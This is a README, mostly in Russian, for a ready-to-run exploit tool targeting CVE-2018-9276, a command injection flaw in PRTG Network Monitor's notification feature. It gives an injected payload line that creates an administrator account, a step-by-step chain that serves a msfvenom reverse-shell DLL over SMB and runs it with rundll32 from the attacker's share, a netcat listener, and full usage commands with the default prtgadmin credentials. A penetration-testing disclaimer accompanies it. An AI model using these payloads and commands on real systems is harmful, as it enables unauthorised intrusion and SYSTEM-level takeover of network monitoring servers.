
CVE-2018-9276 — PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only.
⚠️ Отказ от ответственности: Этот инструмент предназначен только для образовательных целей и авторизованного тестирования на проникновение. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Несанкционированное использование является незаконным.
PRTG Network Monitor — это инструмент мониторинга сети, разработанный Paessler AG. Версии до 18.2.39 уязвимы для автентифицированной инъекции команд через функцию уведомлений, что позволяет атакующему с действительными учетными данными добиться удалённого выполнения кода (RCE) от имени Local System (учётная запись службы по умолчанию для установок PRTG).
Эта уязвимость была обнаружена во время тестирования на проникновение Джошем Берри (Josh Berry) и раскрыта Paessler AG, которая выпустила исправление 20 апреля 2018 года. Уязвимости присвоен номер CVE-2018-9276.
PRTG включает систему уведомлений, которая позволяет администраторам запускать сценарии при определенных событиях. Чтобы предотвратить произвольное выполнение кода, PRTG ограничивает выполнение сценариев только теми, которые находятся в определенном каталоге на сервере. По умолчанию доступны только два демонстрационных сценария:
Demo EXE Notification - OutFile.batDemo EXE Notification - OutFile.ps1Демонстрационный сценарий PowerShell (OutFile.ps1) передает значение из поля Parameter уведомления непосредственно в сценарий без какой-либо санитизации. Это позволяет внедрять произвольные команды PowerShell, добавляя их после точки с запятой:
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add
Когда PRTG выполняет уведомление, внедренная команда запускается с привилегиями Local System.
Примечание: Пакетный сценарий (
OutFile.bat) не уязвим — Paessler, по-видимому, санитизирует ввод перед передачей в пакетный файл. Инъекция работает только через сценарий.ps1.
Эксплойт автоматизирует следующие шаги:
1. Проверка версии сервера → подтверждение, что цель уязвима
2. Аутентификация → получение действительного файла cookie сессии
3. Создание уведомления типа "файл" → инициализация записываемого выходного файла на цели
4. Запуск уведомления "файл" → выполнение через /api/notificationtest.htm
5. Генерация DLL для обратного шелла → msfvenom (windows/shell_reverse_tcp)
6. Размещение DLL → предоставление через SMB с атакующей машины
7. Создание уведомления типа "команда" → инъекция rundll32.exe <UNC_PATH>,0 после выходного файла
8. Запуск уведомления "команда" → выполнение DLL на цели
9. Получение обратного шелла → nc -nvlp <LPORT>
PRTG разрешает запускать только сценарии, находящиеся в его установочном каталоге, в качестве уведомлений, поэтому мы не можем просто загрузить и выполнить произвольный бинарный файл. Вместо этого мы:
msfvenom для генерации обратного шелла Windows в виде файла .dll..dll на SMB-ресурсе атакующей машины.rundll32.exe \\attacker\share\payload.dll,0 через параметр уведомления PowerShell.rundll32.exe может загружать и выполнять DLL из UNC-пути, обходя ограничение на то, какие файлы PRTG может напрямую выполнять.
msfvenom (часть Metasploit Framework)netcat (nc)impacket — необходим только для встроенного SMB-сервера (опционально, см. --no-smb)pip install impacket
Если у вас уже есть способ размещения DLL (например,
impacket-smbserver,exploit/multi/handlerот Metasploit или другой SMB-сервер), вы можете полностью пропустить impacket, используя--no-smbи--shell-location.
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt # только impacket
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
[--user USER] [--password PASSWORD] [--https]
[--no-smb] [--shell-location SHELL_LOCATION] [-v]
options:
-i, --host IP-адрес или имя хоста цели
-p, --port Порт цели (например, 80 или 443)
--lhost Локальный IP для обратного вызова шелла
--lport Локальный порт для обратного вызова шелла
--user Имя пользователя PRTG (по умолчанию: prtgadmin)
--password Пароль PRTG (по умолчанию: prtgadmin)
--https Использовать HTTPS (самоподписанные сертификаты принимаются)
--no-smb Пропустить встроенный SMB-сервер (полезная нагрузка уже размещена)
--shell-location Переопределить UNC-путь к DLL-полезной нагрузке
-v, --verbose Включить подробный/отладочный вывод
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 443 \
--lhost 10.10.14.5 \
--lport 4444 \
--user admin \
--password Sup3rS3cr3t \
--https
# Сначала разместите полезную нагрузку самостоятельно:
impacket-smbserver share /tmp -smb2support
# Затем запустите эксплойт, указав ваш ресурс:
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444 \
--no-smb \
--shell-location '\\10.10.14.5\share\payload.dll'
prtgadmin / prtgadmin) значительно снижают порог для эксплуатации.| Поле | Значение |
|---|
| CVE | CVE-2018-9276 |
| Затронутые | PRTG Network Monitor < 18.2.39 |
| Тип | Автентифицированная инъекция команд |
| Привилегии | Требуются действительные учётные данные PRTG |
| Воздействие | Удалённое выполнение кода от имени Local System |
| CVSS Score | 7.2 (Высокий) |
| Исправление | PRTG 18.2.39 (выпущено 20 апреля 2018) |